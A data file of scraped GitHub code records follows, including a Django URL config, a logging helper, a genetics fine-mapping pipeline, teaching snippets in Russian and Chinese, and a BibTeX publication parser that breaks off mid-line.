diff --git "a/4139.jsonl" "b/4139.jsonl" new file mode 100644--- /dev/null +++ "b/4139.jsonl" @@ -0,0 +1,1827 @@ +{"seq_id":"23794353994","text":"\"\"\"simplemooc URL Configuration\n\nThe `urlpatterns` list routes URLs to views. For more information please see:\n https://docs.djangoproject.com/en/2.2/topics/http/urls/\nExamples:\nFunction views\n 1. Add an import: from my_app import views\n 2. Add a URL to urlpatterns: path('', views.home, name='home')\nClass-based views\n 1. Add an import: from other_app.views import Home\n 2. Add a URL to urlpatterns: path('', Home.as_view(), name='home')\nIncluding another URLconf\n 1. Import the include() function: from django.urls import include, path\n 2. Add a URL to urlpatterns: path('blog/', include('blog.urls'))\n\"\"\"\nfrom django.urls import path\nfrom photos import views\napp_name = 'photos'\n\nurlpatterns = [\n path('', views.feed, name='feed'),\n path('not_view/', views.not_view, name='not_view'),\n path('send_photo/', views.send_photo, name='send_photo'),\n path('approve_photo/', views.approve_photo, name='approve_photo'),\n path('remove_photo/', views.remove_photo, name='remove_photo'),\n path('add_like/', views.add_like, name='add_like'),\n]\n","repo_name":"gguerran/galeriadjango","sub_path":"photos/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":1103,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"31835000652","text":"import socket\nimport logging\n\ndef get_ip_address():\n s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)\n s.connect((\"8.8.8.8\", 80))\n return s.getsockname()[0]\n\ndef logged(e,logger=__name__,severity=\"info\",max_level = 20): \n logger = logging.getLogger(logger)\n logger.setLevel(max_level)\n formatter = logging.Formatter(f\"[%(asctime)s:%(msecs)s] [%(levelname)s] [{get_ip_address()}] [%(name)s] :%(message)s\",datefmt=\"%d-%b-%Y %H:%M:%S\")\n fileHandler = logging.FileHandler(\"main.log\")\n fileHandler.setFormatter(formatter)\n logger.addHandler(fileHandler)\n if severity.lower()==\"error\": \n logger.error(e)\n\n elif severity.lower()==\"info\":\n logger.info(e)\n\n elif severity.lower()==\"debug\":\n logger.debug(e)\n\n elif severity.lower()==\"critical\":\n logger.critical(e)\n\n elif severity.lower()==\"warning\":\n logger.warning(e)\n\n elif severity.lower()==\"exception\":\n logger.exception(e)\n else:\n raise f\"{severity} not supported enter either : DEBUG, INFO, WARNING, ERROR, CRITICAl\"\n\n\ndef getNameOfFile(a):\n return a.split(\"/\")[len(a.split(\"/\"))-1]\n\n \n\n \n\n\n\n\n\n","repo_name":"sage-kanishq/PythonFiles","sub_path":"Demo_log_package/log/log.py","file_name":"log.py","file_ext":"py","file_size_in_byte":1189,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"77"} +{"seq_id":"21001515342","text":"#!/usr/bin/env python3\n\nimport numpy as np\nimport os\nimport sys\nimport traceback\nimport pickle\nimport gc\nimport shutil\n\nif __name__ == '__main__' and __package__ is None:\n __package__ = 'run'\n sys.path.insert(0, os.path.abspath(os.path.join(os.path.dirname(__file__), '..')))\n sys.path.insert(0, \"/agusevlab/awang/plasma\")\n \nfrom . import Finemap, FmBenner\n\ndef restore_informative(shape, values, informative_snps, default):\n # print(shape) ####\n # print(values) ####\n # print(informative_snps) ####\n vals_all = np.full(shape, default)\n vals_all[informative_snps] = values\n return vals_all\n\ndef run_model(model_cls, inputs, input_updates, informative_snps, return_stats=False):\n model_inputs = inputs.copy()\n model_inputs.update(input_updates)\n # print(model_inputs) ####\n\n model = model_cls(**model_inputs)\n model.initialize()\n\n if inputs[\"search_mode\"] == \"exhaustive\":\n model.search_exhaustive(inputs[\"min_causal\"], inputs[\"max_causal\"])\n elif inputs[\"search_mode\"] == \"shotgun\":\n model.search_shotgun(\n inputs[\"min_causal\"], \n inputs[\"max_causal\"], \n inputs[\"prob_threshold\"], \n inputs[\"streak_threshold\"], \n inputs[\"search_iterations\"]\n )\n\n shape_orig = np.shape(inputs[\"snp_ids\"])\n\n causal_set_inf = model.get_causal_set(inputs[\"confidence\"])\n # print(shape_orig, len(causal_set_inf), informative_snps.shape) ####\n causal_set = restore_informative(shape_orig, causal_set_inf, informative_snps, 1)\n ppas_inf = model.get_ppas()\n ppas = restore_informative(shape_orig, ppas_inf, informative_snps, np.nan)\n size_probs = model.get_size_probs()\n\n if return_stats:\n z_phi = restore_informative(shape_orig, model.imbalance_stats, informative_snps, np.nan)\n z_beta = restore_informative(shape_orig, model.total_exp_stats, informative_snps, np.nan)\n phi = restore_informative(shape_orig, model.phi, informative_snps, np.nan)\n beta = restore_informative(shape_orig, model.beta, informative_snps, np.nan)\n imbalance_errors = model.imbalance_errors \n imbalance = model.imbalance\n\n gc.collect()\n\n # print(causal_set) ####\n if return_stats:\n return causal_set, ppas, size_probs, z_phi, z_beta, phi, beta, imbalance_errors, imbalance\n else:\n return causal_set, ppas, size_probs\n\ndef calc_reads(cell_counts, cell_moments, barcodes, barcodes_map, sample_names):\n sample_counts = {}\n sample_num_cells = {}\n sample_counts_norm = {}\n sample_moments = {}\n if isinstance(next(iter(barcodes_map.keys())), str):\n well_only = True\n else:\n well_only = False\n for i in barcodes:\n if well_only:\n bar_key = i[1]\n else:\n bar_key = i\n if (i in cell_counts) and (bar_key in barcodes_map):\n counts = cell_counts[i]\n moments = cell_moments.get(i, np.zeros((4,2),))\n sample = barcodes_map[bar_key]\n sc = sample_counts.setdefault(sample, np.array([0,0,0])) \n sm = sample_moments.setdefault(sample, np.zeros((4,2),))\n sc += counts\n sm += moments\n sample_num_cells.setdefault(sample, 0)\n sample_num_cells[sample] += 1\n\n counts_all = np.stack([sample_counts.get(i, np.array([0,0,0])) for i in sample_names], axis=0)\n moments_all = np.stack([sample_moments.get(i, np.zeros((4,2),)) for i in sample_names], axis=0)\n num_cells_all = np.array([sample_num_cells.get(i, 0) for i in sample_names])\n\n r1 = moments_all[:,1,:] / moments_all[:,0,:]\n r2 = moments_all[:,2,:] / moments_all[:,1,:]\n r3 = moments_all[:,3,:] / moments_all[:,2,:]\n r1r3 = r1 * r3\n r2r3 = r2 * r3\n r1r2 = r1 * r2\n k_on = 2*r1*(r3-r2)/(r1r2-2*r1r3+r2r3)\n k_off = 2*(r2-r1)*(r1-r3)*(r3-r2)/((r1r2-2*r1r3+r2r3)*(r1-2*r2+r3))\n k_syn = (-r1r2+2*r1r3-r2r3)/(r1-2*r2+r3)\n\n return counts_all, num_cells_all, moments_all, k_on, k_off, k_syn\n\ndef load_clusters(gene_data, cluster_map_path, barcodes_map_path, overdispersion_path):\n # with open(gene_path, \"rb\") as gene_file:\n # gene_data = pickle.load(gene_file)\n with open(cluster_map_path, \"rb\") as cluster_map_file:\n cluster_map = pickle.load(cluster_map_file)\n with open(barcodes_map_path, \"rb\") as barcodes_map_file:\n barcodes_map = pickle.load(barcodes_map_file)\n with open(overdispersion_path, \"rb\") as overdispersion_file:\n overdispersion = pickle.load(overdispersion_file)\n\n cell_counts = gene_data[\"cell_counts\"]\n cell_moments = gene_data[\"burst_data\"]\n sample_names = gene_data[\"samples\"]\n # sample_map = {val: ind for ind, val in enumerate(sample_names)}\n\n cluster_inputs = {}\n for cluster, barcodes in cluster_map.items():\n # print(cluster_map.keys()) ####\n counts, num_cells, moments, k_on, k_off, k_syn = calc_reads(cell_counts, cell_moments, barcodes, barcodes_map, sample_names)\n overdispersion_clust = np.array([overdispersion[cluster].get(i, np.nan) for i in sample_names])\n cluster_inputs[cluster] = {\n \"counts1\": counts[:,0],\n \"counts2\": counts[:,1],\n \"counts_total\": counts[:,2],\n \"overdispersion\": overdispersion_clust,\n \"num_cells\": num_cells,\n \"moments1\": moments[:,:,0],\n \"moments2\": moments[:,:,1],\n \"kon1\": k_on[:,0],\n \"kon2\": k_on[:,1],\n \"koff1\": k_off[:,0],\n \"koff2\": k_off[:,1],\n \"ksyn1\": k_syn[:,0],\n \"ksyn2\": k_syn[:,1],\n }\n\n return cluster_inputs\n\ndef write_output(output_path, result):\n # if not os.path.exists(output_path):\n # os.makedirs(output_path)\n\n # output_return = os.path.join(output_path, \"output.pickle\")\n if os.path.isdir(output_path):\n shutil.rmtree(output_path)\n with open(output_path, \"wb\") as output_file:\n pickle.dump(result, output_file)\n\n gc.collect()\n\ndef run_plasma(name, data_dir, params_path, filter_path, cluster_map_path, barcodes_map_path, overdispersion_path, status_path):\n with open(status_path, \"w\") as status_file:\n status_file.write(\"\")\n\n try:\n gene_dir = os.path.join(data_dir, name)\n gene_path = os.path.join(gene_dir, \"gene_data.pickle\")\n\n with open(params_path, \"rb\") as params_file:\n params = pickle.load(params_file)\n\n output_dir = os.path.join(gene_dir, params[\"run_name\"])\n os.makedirs(output_dir, exist_ok=True)\n output_path_base = os.path.join(gene_dir, params[\"run_name\"], \"plasma_{0}.pickle\")\n\n with open(gene_path, \"rb\") as gene_file:\n gene_data = pickle.load(gene_file)\n\n if filter_path == \"all\":\n snp_filter = False\n else:\n with open(filter_path, \"rb\") as filter_file:\n snp_filter = pickle.load(filter_file)\n\n inputs_all = {\n \"hap1\": gene_data[\"genotypes\"][:,:,0],\n \"hap2\": gene_data[\"genotypes\"][:,:,1],\n \"sample_names\": gene_data[\"samples\"],\n \"snp_ids\": np.array(gene_data[\"marker_ids\"]),\n \"snp_pos\": np.array(gene_data[\"markers\"]),\n \"snp_alleles\": np.array(gene_data[\"marker_alleles\"]),\n \"total_counts\": gene_data.get(\"total_counts\", False),\n \"agg_counts\": gene_data.get(\"counts_norm\", False),\n \"tss\": gene_data.get(\"tss\"),\n \"sample_masks\": gene_data.get(\"sample_masks\", {})\n }\n inputs_all.update(params)\n\n if inputs_all[\"total_counts\"]:\n for k, v in inputs_all[\"cell_type_aliases\"].items():\n inputs_all[\"total_counts\"][v] = inputs_all[\"total_counts\"][k]\n if inputs_all[\"agg_counts\"]:\n for k, v in inputs_all[\"cell_type_aliases\"].items():\n inputs_all[\"agg_counts\"][v] = inputs_all[\"agg_counts\"][k]\n\n clusters = load_clusters(gene_data, cluster_map_path, barcodes_map_path, overdispersion_path)\n\n except Exception as e:\n results = {}\n all_complete = False\n trace = traceback.format_exc()\n print(trace, file=sys.stderr)\n message = repr(e)\n results[\"run_error_all\"] = message\n results[\"traceback_all\"] = trace\n write_output(output_path_base.format(0), results)\n\n with open(status_path, \"w\") as status_file:\n status_file.write(\"Fail\")\n return\n\n # print(clusters.keys()) ####\n # print(inputs_all[\"total_counts\"].keys()) ####\n # print(inputs_all[\"total_counts\"]) ####\n # print(inputs_all[\"agg_counts\"]) ####\n\n splits = np.array(inputs_all.get(\"splits\", [1.]))\n num_samples = len(inputs_all[\"sample_names\"])\n allocs_raw = num_samples * splits\n cumu = np.cumsum(allocs_raw)\n rems = 1 - (-cumu % 1)\n adds = np.random.binomial(1, rems)\n allocs_int = allocs_raw - rems\n allocs = (allocs_int + adds + (1 - np.roll(adds, 1))).astype(int)\n part_idxs = np.concatenate([np.full(val, ind) for ind, val in enumerate(allocs)])\n partitions = np.random.permutation(part_idxs)\n # print(partitions) ####\n\n all_complete = True\n for all_but in [False, True]:\n for split in range(len(splits)):\n select_counts = np.logical_xor(partitions == split, all_but)\n results = {\"_gen\": {}}\n results[\"_gen\"][\"hap_A\"] = inputs_all[\"hap1\"][select_counts]\n results[\"_gen\"][\"hap_B\"] = inputs_all[\"hap2\"][select_counts]\n results[\"_gen\"][\"snp_ids\"] = inputs_all[\"snp_ids\"]\n results[\"_gen\"][\"snp_alleles\"] = inputs_all[\"snp_alleles\"]\n results[\"_gen\"][\"snp_pos\"] = inputs_all[\"snp_pos\"]\n results[\"_gen\"][\"tss\"] = inputs_all[\"tss\"]\n out_prefix = \"x\" if all_but else \"i\"\n output_path = output_path_base.format(out_prefix + str(split))\n for cluster, inputs in clusters.items():\n result = results.setdefault(cluster, {})\n try:\n inputs = inputs.copy()\n inputs.update(inputs_all)\n print(cluster, split, all_but) ####\n # print(inputs[\"total_counts\"].keys()) ####\n # print(inputs[\"total_counts\"].keys()) ####\n if inputs[\"total_counts\"] and inputs[\"total_counts\"].get(cluster, False):\n processed_counts = True\n # print(inputs[\"total_counts\"][cluster]) ####\n # print(inputs[\"total_counts\"][cluster]) ####\n # print(inputs[\"agg_counts\"][cluster]) ####\n # print(inputs[\"total_counts\"][cluster].keys()) ####\n inputs[\"counts_total\"] = np.array([inputs[\"total_counts\"][cluster][inputs[\"pre_flags\"]].get(i, np.nan) for i in inputs[\"sample_names\"]])\n # inputs[\"counts_norm\"] = np.array([inputs[\"agg_counts\"][cluster].get(i, np.nan) for i in inputs[\"sample_names\"]])\n # counts_raw_total = np.array([inputs[\"total_counts\"][f\"{cluster}_raw\"].get(i, np.nan) for i in inputs[\"sample_names\"]])\n # counts_raw_norm = np.array([inputs[\"agg_counts\"][f\"{cluster}_raw\"].get(i, np.nan) for i in inputs[\"sample_names\"]])\n # results[\"counts_raw\"] = np.array([inputs[\"total_counts\"][cluster][\"cm\"].get(i, np.nan) for i in inputs[\"sample_names\"]])\n # print(inputs[\"counts_total\"]) ####\n # print(inputs[\"counts_norm\"]) ####\n # print(np.count_nonzero(~np.isnan(inputs[\"counts_total\"]))) ####\n # print(np.count_nonzero(~np.isnan(inputs[\"counts_norm\"]))) ####\n else:\n processed_counts = False\n\n result[\"split\"] = split\n result[\"effective_sample_size\"] = np.sum(select_counts)\n result[\"sample_size\"] = select_counts.size\n\n inputs[\"hap1\"] = inputs[\"hap1\"][select_counts]\n inputs[\"hap2\"] = inputs[\"hap2\"][select_counts]\n inputs[\"counts1\"] = inputs[\"counts1\"][select_counts]\n inputs[\"counts2\"] = inputs[\"counts2\"][select_counts]\n inputs[\"counts_total\"] = inputs[\"counts_total\"][select_counts]\n inputs[\"overdispersion\"] = inputs[\"overdispersion\"][select_counts]\n inputs[\"sample_names\"] = np.array(inputs[\"sample_names\"])[select_counts]\n inputs[\"num_cells\"] = inputs[\"num_cells\"][select_counts]\n\n result[\"moments_A\"] =result[\"moments1\"] = inputs[\"moments1\"][select_counts]\n result[\"moments_B\"] = result[\"moments2\"] = inputs[\"moments2\"][select_counts]\n result[\"kon_A\"] = result[\"kon1\"] = inputs[\"kon1\"][select_counts]\n result[\"kon_B\"] = result[\"kon2\"] = inputs[\"kon2\"][select_counts]\n result[\"koff_A\"] = result[\"koff1\"] = inputs[\"koff1\"][select_counts]\n result[\"koff_B\"] = result[\"koff2\"] = inputs[\"koff2\"][select_counts]\n result[\"ksyn_A\"] = result[\"ksyn1\"] = inputs[\"ksyn1\"][select_counts]\n result[\"ksyn_B\"] = result[\"ksyn2\"] = inputs[\"ksyn2\"][select_counts]\n # if processed_counts:\n # inputs[\"counts_norm\"] = inputs[\"counts_norm\"][select_counts]\n\n # print(inputs.get(\"clinical_group\", True)) ####\n clinical_mask = inputs.get(\"sample_masks\", {}).get(inputs.get(\"clinical_group\"), True)\n print(clinical_mask) ####\n # inputs[\"mask_imbalance\"] = mask_imbalance = np.logical_and.reduce([\n # clinical_mask,\n # inputs[\"counts1\"] >= 1, \n # inputs[\"counts2\"] >= 1, \n # np.logical_not(np.isnan(inputs[\"overdispersion\"]))\n # ], axis=0)\n\n inputs[\"mask_imbalance\"] = mask_imbalance = (\n clinical_mask\n & (inputs[\"counts1\"] >= 1)\n & (inputs[\"counts2\"] >= 1)\n & ~np.isnan(inputs[\"overdispersion\"])\n )\n # print(inputs.get(\"clinical_group\", True)) ####\n # print(np.logical_not(np.isnan(inputs[\"counts_total\"]))) ####\n inputs[\"mask_total_exp\"] = mask_total_exp = clinical_mask & ~np.isnan(inputs[\"counts_total\"])\n print(np.sum(mask_total_exp)) ####\n # print(inputs[\"counts_total\"][mask_total_exp]) ####\n\n result[\"avg_counts_total\"] = np.nanmean(inputs[\"counts_total\"])\n result[\"avg_counts_mapped\"] = np.nanmean(inputs[\"counts1\"] + inputs[\"counts2\"])\n result[\"overdispersion\"] = inputs[\"overdispersion\"]\n # result[\"avg_overdispersion\"] = np.nanmean(inputs[\"overdispersion\"])\n result[\"avg_num_cells\"] = np.nanmean(inputs[\"num_cells\"])\n\n if processed_counts:\n # print(inputs[\"counts_total\"]) ####\n # print(inputs[\"counts_norm\"]) ####\n # print(processed_counts) ####\n # print(inputs[\"counts_total\"][inputs[\"mask_total_exp\"]]) ####\n # print(np.mean(inputs[\"counts_norm\"]) / inputs[\"counts_norm\"]) ####\n # inputs[\"counts_total\"] = inputs[\"counts_total\"] * 1e3 / inputs[\"counts_norm\"]\n result[\"avg_counts_total_scaled\"] = np.nanmean(inputs[\"counts_total\"])\n # print(inputs[\"counts_total\"]) ####\n # print(result[\"avg_counts_total_scaled\"]) ####\n\n else:\n result[\"avg_counts_total_scaled\"] = None\n\n if snp_filter:\n snps_in_filter = [ind for ind, val in enumerate(inputs[\"snp_ids\"]) if val in snp_filter]\n inputs[\"snp_ids\"] = inputs[\"snp_ids\"][snps_in_filter]\n inputs[\"snp_pos\"] = inputs[\"snp_pos\"][snps_in_filter]\n inputs[\"hap1\"] = inputs[\"hap1\"][:, snps_in_filter]\n inputs[\"hap2\"] = inputs[\"hap2\"][:, snps_in_filter]\n\n # haps_comb = (inputs[\"hap1\"] + inputs[\"hap2\"])[mask_total_exp, :]\n # haps_diff = (inputs[\"hap1\"] - inputs[\"hap2\"])[mask_imbalance, :]\n hap_c1 = inputs[\"hap1\"][mask_total_exp, :]\n hap_c2 = inputs[\"hap2\"][mask_total_exp, :]\n hap_d1 = inputs[\"hap1\"][mask_imbalance, :]\n hap_d2 = inputs[\"hap2\"][mask_imbalance, :]\n\n if np.size(inputs[\"counts1\"][mask_imbalance]) <= 1:\n result[\"data_error\"] = \"Insufficient Read Counts\"\n print(\"data_error\") ####\n continue\n\n mc = inputs[\"min_carriers\"]\n informative_snps = np.nonzero(np.logical_and.reduce([\n # np.logical_not(np.all(haps_comb == haps_comb[0,:], axis=0)),\n # np.logical_not(np.all(haps_diff == haps_diff[0,:], axis=0)),\n np.sum(hap_c1, axis=0) >= mc,\n np.sum(1 - hap_c1, axis=0) >= mc,\n np.sum(hap_c2, axis=0) >= mc,\n np.sum(1 - hap_c2, axis=0) >= mc,\n np.sum(hap_d1, axis=0) >= mc,\n np.sum(1 - hap_d1, axis=0) >= mc,\n np.sum(hap_d2, axis=0) >= mc,\n np.sum(1 - hap_d2, axis=0) >= mc,\n ]))[0]\n informative_snps_weak = np.nonzero(np.logical_and.reduce([\n np.sum(hap_c1, axis=0) >= mc,\n np.sum(1 - hap_c1, axis=0) >= mc,\n np.sum(hap_c2, axis=0) >= mc,\n np.sum(1 - hap_c2, axis=0) >= mc,\n ]))[0]\n result[\"informative_snps\"] = informative_snps\n result[\"informative_snps_weak\"] = informative_snps_weak\n result[\"num_snps_total\"] = np.size(inputs[\"snp_ids\"])\n result[\"snp_ids\"] = inputs[\"snp_ids\"]\n result[\"num_snps_informative\"] = np.count_nonzero(informative_snps)\n result[\"num_snps_informative_weak\"] = np.count_nonzero(informative_snps_weak)\n\n inputs[\"hap1\"] = inputs[\"hap1\"][:, informative_snps]\n inputs[\"hap2\"] = inputs[\"hap2\"][:, informative_snps]\n\n inputs[\"hap_A\"] = inputs[\"hap1\"].astype(np.int)\n inputs[\"hap_B\"] = inputs[\"hap2\"].astype(np.int)\n\n inputs[\"num_causal_prior\"] = inputs[\"num_causal\"]\n\n if inputs[\"hap1\"].size == 0:\n result[\"data_error\"] = \"Insufficient Markers\"\n continue\n\n inputs[\"counts_A\"] = inputs[\"counts1\"].astype(np.int)\n inputs[\"counts_B\"] = inputs[\"counts2\"].astype(np.int)\n inputs[\"total_exp\"] = inputs[\"counts_total\"].astype(float)\n # print(list(inputs[\"total_exp\"])) ####\n # print(inputs[\"counts_norm\"][inputs[\"mask_total_exp\"]]) ####\n # print(inputs[\"counts_total\"][inputs[\"mask_total_exp\"]]) ####\n # print(inputs[\"total_exp\"][inputs[\"mask_total_exp\"]]) ####\n\n result[\"counts_A\"] = inputs[\"counts_A\"]\n result[\"counts_B\"] = inputs[\"counts_B\"]\n result[\"total_exp\"] = inputs[\"total_exp\"]\n\n if inputs[\"model_flavors\"] == \"all\":\n model_flavors = set([\"full\", \"indep\", \"eqtl\", \"ase\", \"acav\", \"fmb\"])\n else:\n model_flavors = inputs[\"model_flavors\"]\n\n if \"full\" in model_flavors:\n updates_full = {\"num_ppl\": None}\n result[\"causal_set_full\"], result[\"ppas_full\"], result[\"size_probs_full\"] = run_model(\n Finemap, inputs, updates_full, informative_snps\n )\n\n if \"indep\" in model_flavors:\n updates_indep = {\"cross_corr_prior\": 0., \"num_ppl\": None}\n result[\"causal_set_indep\"], result[\"ppas_indep\"], result[\"size_probs_indep\"], result[\"z_phi\"], result[\"z_beta\"] , result[\"phi\"], result[\"beta\"], result[\"imbalance_errors\"], result[\"imbalance\"] = run_model(\n Finemap, inputs, updates_indep, informative_snps, return_stats=True\n )\n \n if \"eqtl\" in model_flavors:\n updates_eqtl = {\"qtl_only\": True, \"num_ppl\": None}\n result[\"causal_set_eqtl\"], result[\"ppas_eqtl\"], result[\"size_probs_eqtl\"] = run_model(\n Finemap, inputs, updates_eqtl, informative_snps\n )\n\n if \"ase\" in model_flavors:\n updates_ase = {\"as_only\": True, \"num_ppl\": None}\n result[\"causal_set_ase\"], result[\"ppas_ase\"], result[\"size_probs_ase\"] = run_model(\n Finemap, inputs, updates_ase, informative_snps\n )\n\n if \"fmb\" in model_flavors:\n updates_fmb = {\"qtl_only\": True, \"num_ppl\": None}\n result[\"causal_set_fmb\"], result[\"ppas_fmb\"], result[\"size_probs_fmb\"] = run_model(\n FmBenner, inputs, updates_fmb, informative_snps\n )\n\n except Exception as e:\n all_complete = False\n trace = traceback.format_exc()\n print(trace, file=sys.stderr)\n message = repr(e)\n result[\"run_error\"] = message\n result[\"traceback\"] = trace\n write_output(output_path, results)\n\n write_output(output_path, results)\n\n with open(status_path, \"w\") as status_file:\n if all_complete:\n status_file.write(\"Complete\")\n else:\n status_file.write(\"Fail\")\n\nif __name__ == '__main__':\n run_plasma(*sys.argv[1:])\n\n","repo_name":"austintwang/sc_scripts","sub_path":"run_plasma.py","file_name":"run_plasma.py","file_ext":"py","file_size_in_byte":22547,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"77"} +{"seq_id":"21889271719","text":"def min(arg, *args, key=None, **kwargs): # определение функции min\n\n if args: # если кортеж args имеет хоть один компонент, то:\n flag = False # переменной flag задается значение False\n iterable = args # переменной iterable пресваиваются значения args\n if key is None: # если переменная key пуста, то:\n vmin, kmin = arg, arg # переменным vmin и kmin пресваивается значение arg\n else: # в противном случае, если переменная key не пуста, то:\n vmin, kmin = arg, key(arg) # переменной vmin присваевается значение arg, а переменной kmin -- key(arg)\n else: # в противном случае, если кортеж args не имеет компонентов, то:\n flag = True # переменной flag задается значение True\n iterable = arg # переменной iterable пресваиваются значения arg\n vmin, kmin = None, None # переменным vmin и kmin становятся пустыми\n\n if key is None: # если перременная key пуста, то:\n iterable = map(lambda x: (x, x), iterable) # при помощи функции map и анонимной функции lambda\n # переменной iterable присваевается map объект, содержащий кортеж из 2 объектов iterable\n else: # в противном случае, если перременная key не пуста, то:\n iterable = map(lambda x: (x, key(x)), iterable) # при помощи функции map и анонимной функции lambda\n # переменной iterable присваевается map объект, содержащий кортеж (iterable, key(iterable))\n\n for v, k in iterable: # создается цикл по значением iterable\n if flag: # если переменная flag равна True, то:\n vmin, kmin = v, k # переменной vmin присваевается значение v, а переменной kmin -- k\n flag = False # переменной flag задается значение False\n else: # в противном случае, если переменная flag не равна True(т.е. равна False), то:\n if k < kmin: # если значение k меньше значения kmin, то\n vmin, kmin = v, k # переменной vmin присваевается значение v, а переменной kmin -- k\n\n if flag: # если переменная flag равна True, то:\n if 'default' in kwargs: # если сторока 'default' является ключоь в словаре kwargs, то:\n return kwargs['default'] # возвращается значение которое находится в словаре kwargs под ключем 'default'\n raise ValueError('arg is an empty sequence') # в противном случае, вывести сообщение об ошибке\n\n return vmin # возвращается значение vmin\n\n\nempty_sequence = tuple()\nvalue_sequence = 3, 1, 2\nx, y, z = value_sequence\n\nprint(min(x, y, z)) # result: 1\nprint(min(value_sequence)) # result: 1\n\nprint(min(x, y, z, key=lambda v: -v)) # result: 3\nprint(min(value_sequence, key=lambda v: -v)) # result: 3\n\nprint(min(x, y, z, default=0xE0F)) # result: 1\nprint(min(value_sequence, default=0xE0F)) # result: 1\nprint(min(empty_sequence, default=0xE0F)) # result: 3599\n\n# print(min(empty_sequence)) # error!\n","repo_name":"AndrewNeborsky/Home_Work","sub_path":"HW_2/def_min.py","file_name":"def_min.py","file_ext":"py","file_size_in_byte":3864,"program_lang":"python","lang":"ru","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"16552962700","text":"# 类的方法与普通的函数只有一个特别的区别——它们必须有一个额外的第一个参数名称, 按照惯例它的名称是 self。\n\n# class Test:\n# def prt(self):\n# print(self)\n# print(self.__class__)\n \n# t = Test()\n# t.prt()\n\n# 从执行结果可以很明显的看出,self 代表的是类的实例,代表当前对象的地址,而 self.class 则指向类。\n\n# self 不是 python 关键字,我们把他换成 runoob 也是可以正常执行的:\n\nclass Test:\n def prt(runoob):\n print(runoob)\n print(runoob.__class__)\n \nt = Test()\nt.prt()\n","repo_name":"aria4013/pythongo","sub_path":"类和对象/self代表类的实例.py","file_name":"self代表类的实例.py","file_ext":"py","file_size_in_byte":605,"program_lang":"python","lang":"zh","doc_type":"code","stars":0,"dataset":"github-code","pt":"77"} +{"seq_id":"14638508595","text":"import bibtexparser\nimport re\nimport json\nimport os\nfrom bibtexparser.bparser import BibTexParser\n#from bibtexparser.customization import homogeneize_latex_encoding\n\nROOT = '/home/matias/Research/website/'\n\nselected_titles = ['Kubernetes']\n\njournal_dict = {\n \"\\\\mnras\": 'MNRAS',\n \"\\\\aj\": 'AJ',\n \"\\\\apj\": 'ApJ',\n \"\\\\prd\": 'PhRvD',\n \"\\\\apjl\": 'ApJL',\n \"\\\\apjs\": 'ApJS',\n \"\\\\pasa\": 'PASA',\n \"\\\\aap\": 'A\\&A',\n \"\\\\nat\": 'Nature',\n \"\\\\pasp\": 'PASP',\n}\n\n\nwith open('myrefs.bbl') as bibtex_file:\n parser = BibTexParser()\n # parser.customization = homogeneize_latex_encoding\n pubs = bibtexparser.load(bibtex_file, parser=parser)\n\n\ndef get_title(entry):\n title = entry['title'].replace('\\n', '')\n return title\n\n\ndef get_journal(entry):\n try:\n title = entry['journal'].replace('\\n', '')\n except:\n if entry['ENTRYTYPE'] == 'inproceedings':\n title = entry['booktitle'].replace('\\n', '')\n else:\n title = None\n try:\n title = journal_dict[title]\n except:\n pass\n return title\n\n\ndef get_year(entry):\n title = entry['year'].replace('\\n', '')\n title = title.replace('{', '')\n title = title.replace('}', '')\n return title\n\n\ndef get_pages(entry):\n try:\n volume = entry['volume'].replace('\\n', '')\n volume = volume.replace('{', '')\n volume = volume.replace('}', '')\n pages = entry['pages'].replace('\\n', '')\n pages = pages.replace('{', '')\n pages = pages.replace('{', '')\n all_pages = volume+':'+pages\n except:\n all_pages = ''\n return all_pages\n\n\ndef get_url(entry):\n try:\n title = entry['adsurl'].replace('\\n', '')\n title = title.replace('{', '')\n title = title.replace('}', '')\n adslink = True\n except:\n title = \"\"\n adslink = False\n return title, adslink\n\n\ndef get_doi(entry):\n try:\n title = entry['doi'].replace('\\n', '')\n title = 'https://doi.org/'+title\n except:\n title = '#'\n return title\n\n\ndef get_authors(entry):\n temp = entry['author'].replace('\\n', ' ')\n authors = temp.split(' and ')\n newlist = []\n shortlist = []\n new_dict = []\n i = 0\n num_authors = 6\n for a in authors:\n i = i+1\n temp = {}\n try:\n last, first = a.split(',')\n except:\n last = a\n first = ''\n # print(first, last)\n first = first.replace(' ', '')\n first = first.replace('~', ' ')\n ser = re.search('{(.+)}', last)\n if ser is None:\n continue\n else:\n last = ser.group(1)\n\n if last == 'Kind':\n last = 'Carrasco Kind'\n first = 'M.'\n temp['first'] = first\n temp['last'] = last\n temp['main'] = True\n temp['color'] = 'black'\n elif last == 'Carrasco-Kind':\n last = 'Carrasco Kind'\n first = 'M.'\n temp['first'] = first\n temp['last'] = last\n temp['main'] = True\n temp['color'] = 'black'\n else:\n temp['first'] = first\n temp['last'] = last\n temp['main'] = False\n temp['color'] = 'blue'\n if i < num_authors:\n shortlist.append(first+' '+last)\n newlist.append(first+' '+last)\n new_dict.append(temp)\n\n if i >= num_authors:\n shortlist.append('et al.')\n return \", \".join(shortlist), \", \".join(newlist)\n\n\ndef get_arxiv(entry):\n try:\n arxiv = entry['eprint'].replace('\\n', '')\n prefix = entry['archiveprefix'].replace('\\n', '')\n except:\n if entry['ENTRYTYPE'] == 'inproceedings':\n arxiv = 'None'\n prefix = 'inpro'\n else:\n arxiv = ''\n prefix = ''\n return prefix, arxiv\n\n\nwith open(os.path.join(ROOT, 'publications.json'), 'w') as out:\n print('ddd')\n Alldata = []\n Alldatamine = []\n datamine = []\n texall = []\n texmine = []\n for y in ('0000', '2019', '2018', '2017', '2016', '2015', '2014', '2013', '2012'):\n temp2 = {}\n temp3 = {}\n temp2['byear'] = y\n if y == '0000':\n temp2['byear'] = 'In preparation'\n data = []\n for i in range(len(pubs.entries)):\n et = pubs.entries[i]\n year = get_year(et)\n if year != y:\n continue\n preplink = False\n doi = get_doi(et)\n if doi == \"#\":\n doilink = False\n else:\n doilink = True\n kind = 'Published'\n url, adslink = get_url(et)\n journal = get_journal(et)\n pages = get_pages(et)\n prefix, arxiv = get_arxiv(et)\n if arxiv == '':\n arxiv_url = '#'\n alink = False\n slink = False\n pdf_link = False\n pdf_url = '#'\n else:\n if prefix == 'arXiv':\n arxiv_url = 'http://arxiv.org/abs/'+arxiv\n alink = True\n slink 